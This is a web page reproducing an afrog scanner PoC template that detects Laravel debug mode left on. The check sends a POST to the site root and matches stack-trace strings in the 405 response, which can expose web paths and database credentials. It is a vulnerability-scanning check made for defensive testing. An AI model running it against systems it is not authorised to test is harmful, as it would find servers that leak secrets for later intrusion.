laravel-debug-info-leak: Laravel Debug Info Leak

2025-08-01 Laravel PoC Public

Description

Laravel 开启 Debug mode，可能泄露web路径、数据库账号密码等敏感信息

PoC

id: laravel-debug-info-leak

info:
  name: Laravel Debug Info Leak
  author: Dem0ns
  severity: high
  verified: true
  description: |-
    Laravel 开启 Debug mode，可能泄露web路径、数据库账号密码等敏感信息
  tags: laravel,disclosure
  created: 2023/10/29

rules:
  r0:
    request:
      method: POST
      path: /
    expression: response.status == 405 && response.body.bcontains(b"MethodNotAllowedHttpException") && response.body.bcontains(b"Environment & details") && (response.body.bcontains(b"vendor\\laravel\\framework\\src\\Illuminate\\Routing\\RouteCollection.php") || response.body.bcontains(b"vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php"))
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/disclosure/laravel-debug-info-leak.yaml

References

Related Vulnerabilities